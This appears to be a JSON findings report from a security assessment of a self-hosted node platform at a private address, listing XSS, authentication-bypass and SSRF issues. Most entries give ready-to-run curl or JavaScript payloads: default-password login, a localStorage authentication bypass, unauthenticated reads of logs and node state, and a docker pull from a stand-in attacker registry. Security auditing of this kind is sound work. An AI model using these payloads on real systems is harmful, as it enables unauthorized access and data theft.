{ "findings": [ { "id": "XSS-001", "type": "stored_xss", "endpoint": "/archipelago/node-message", "parameter": "message, from_pubkey", "confidence": "medium", "payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"\"}'" }, { "id": "XSS-002", "type": "dom_xss_postmessage", "endpoint": "AppLauncherOverlay.vue (client-side)", "parameter": "postMessage event.data.type", "confidence": "medium", "payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')" }, { "id": "XSS-003", "type": "dom_xss_postmessage", "endpoint": "Settings.vue (client-side)", "parameter": "postMessage event.data.type", "confidence": "medium", "payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')" }, { "id": "XSS-004", "type": "missing_csp_headers", "endpoint": "All responses (nginx)", "parameter": "Content-Security-Policy, X-Frame-Options", "confidence": "high", "payload_suggestion": "No CSP set \u2014 any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security" }, { "id": "XSS-005", "type": "reflected_xss_json", "endpoint": "/rpc/v1 (method: echo)", "parameter": "params.message", "confidence": "low", "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"\"}}'" }, { "id": "XSS-006", "type": "dom_xss_postmessage", "endpoint": "/test-aiui.html", "parameter": "postMessage event.data", "confidence": "low", "payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '' }, '*')" }, { "id": "XSS-007", "type": "cors_wildcard_xss_enabler", "endpoint": "All backend endpoints", "parameter": "Access-Control-Allow-Origin: *", "confidence": "high", "payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:''})})" }, { "id": "AUTH-001", "type": "missing_session_management", "endpoint": "/rpc/v1", "parameter": "method=auth.login", "confidence": "high", "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' \u2014 observe null response with no Set-Cookie header" }, { "id": "AUTH-002", "type": "missing_authorization", "endpoint": "/rpc/v1", "parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...", "confidence": "high", "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' \u2014 returns node identity without auth" }, { "id": "AUTH-003", "type": "brute_force_no_protection", "endpoint": "/rpc/v1", "parameter": "method=auth.login, password", "confidence": "high", "payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit \u2014 bcrypt provides ~100ms delay per attempt" }, { "id": "AUTH-004", "type": "default_credentials", "endpoint": "/rpc/v1", "parameter": "method=auth.login, password=password123", "confidence": "high", "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'" }, { "id": "AUTH-005", "type": "client_side_auth_bypass", "endpoint": "/dashboard", "parameter": "localStorage['neode-auth']", "confidence": "high", "payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' \u2014 full UI access without login" }, { "id": "AUTH-006", "type": "session_invalidation_failure", "endpoint": "/rpc/v1", "parameter": "method=auth.logout", "confidence": "high", "payload_suggestion": "Logout is a no-op returning null \u2014 no server-side session to invalidate" }, { "id": "AUTH-007", "type": "unauthenticated_websocket", "endpoint": "/ws/db", "parameter": "N/A", "confidence": "high", "payload_suggestion": "wscat -c ws://192.168.1.228/ws/db \u2014 receives full server state dump including node identity, Tor address, and all package states" }, { "id": "AUTH-008", "type": "message_spoofing", "endpoint": "/archipelago/node-message", "parameter": "from_pubkey, message", "confidence": "high", "payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'" }, { "id": "AUTH-009", "type": "cors_wildcard", "endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*", "parameter": "Access-Control-Allow-Origin: *", "confidence": "high", "payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) \u2014 succeeds cross-origin" }, { "id": "AUTH-010", "type": "weak_password_policy", "endpoint": "/rpc/v1", "parameter": "method=auth.setup (frontend only), password", "confidence": "medium", "payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity" }, { "id": "AUTH-011", "type": "unauthenticated_ssrf_proxy", "endpoint": "/proxy/lnd/*", "parameter": "path suffix", "confidence": "high", "payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo \u2014 accesses LND REST API without authentication" }, { "id": "AUTH-012", "type": "unauthenticated_data_access", "endpoint": "/api/container/logs", "parameter": "app_id, lines", "confidence": "high", "payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' \u2014 reads container logs without auth" }, { "id": "AUTH-013", "type": "disconnected_auth_infrastructure", "endpoint": "N/A (architectural)", "parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/", "confidence": "high", "payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary" }, { "id": "SSRF-001", "type": "blind_ssrf_via_tor_proxy", "endpoint": "/rpc/v1", "parameter": "params.onion (method: node-check-peer)", "confidence": "high", "payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" }, { "id": "SSRF-002", "type": "ssrf_via_tor_proxy_with_data_exfil", "endpoint": "/rpc/v1", "parameter": "params.onion (method: node-send-message)", "confidence": "high", "payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}" }, { "id": "SSRF-003", "type": "internal_service_proxy", "endpoint": "/proxy/lnd/{path}", "parameter": "URL path suffix", "confidence": "medium", "payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678" }, { "id": "SSRF-004", "type": "ssrf_via_container_registry_pull", "endpoint": "/rpc/v1", "parameter": "params.dockerImage (method: package.install)", "confidence": "high", "payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}" }, { "id": "SSRF-005", "type": "full_arbitrary_url_fetch", "endpoint": "marketplace.get (INACTIVE - startos codebase)", "parameter": "url", "confidence": "low", "payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary" }, { "id": "SSRF-006", "type": "config_driven_websocket_ssrf", "endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)", "parameter": "ARCHIPELAGO_NOSTR_RELAYS env var", "confidence": "low", "payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/" } ] }